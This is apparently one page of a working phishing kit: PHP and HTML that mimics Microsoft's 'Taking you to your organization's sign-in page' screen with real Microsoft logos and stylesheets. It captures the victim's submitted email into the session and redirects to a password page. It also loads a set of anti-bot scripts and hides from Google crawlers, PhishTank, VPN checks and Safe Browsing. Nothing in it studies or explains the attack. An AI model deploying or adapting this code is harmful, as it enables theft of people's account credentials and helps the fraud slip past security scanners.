<?php
error_reporting(0);
require_once('session_init.php');


include('session/function.php');
require ("antibots/AntiBotUserAgent.php");
require ("antibots/AntiBotIsp.php"); 
require ("antibots/AnitiBotHost.php");
require ("antibots/AntiBotPhishTank.php");
require ("antibots/AntiBotVpn.php");
require ("antibots/SaveBrowsing.php");
require ("antibots/DiscoveredBot.php");
require ("antibots/AntiBotThree.php");
require ("antibots/DisturbOne.php");
require ("antibots/DisturbTwo.php");
require("antibots/Anti/Bot-Crawler.php");
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { include($path."404.php"); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { include($path."404.php"); exit(); } 

// Get visitor ID
$visitor_id = $_GET['id'] ?? '';
if (empty($visitor_id) && isset($_SESSION['visitor_id'])) {
    $visitor_id = $_SESSION['visitor_id'];
}

// Capture email input
if (isset($_POST['emailInput']) && !empty($_POST['emailInput'])) {
    $_SESSION['username'] = $_POST['emailInput'];
}
$_SESSION['back_nav'] = 'index.php';

?>
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
    <meta http-equiv="refresh" content="10;url=pass.php?id=<?php echo htmlspecialchars($visitor_id); ?>">
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>

<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                        <!-- Loading Screen -->
                        <div id="loadingScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="">
                                    <div class="pagination-view animate slide-in-next">
                                        <div data-viewid="8">
                                            <div id="loginHeader" class="row title ext-title" role="heading" aria-level="1">Taking you to your organization's sign-in page</div>
                                            <div class="row progress-container">
                                                <div class="progress" role="progressbar" aria-label="Please wait">
                                                    <div></div><div></div><div></div><div></div><div></div>
                                                </div>
                                            </div>
                                            <a id="cancelRedirect" href="#"></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>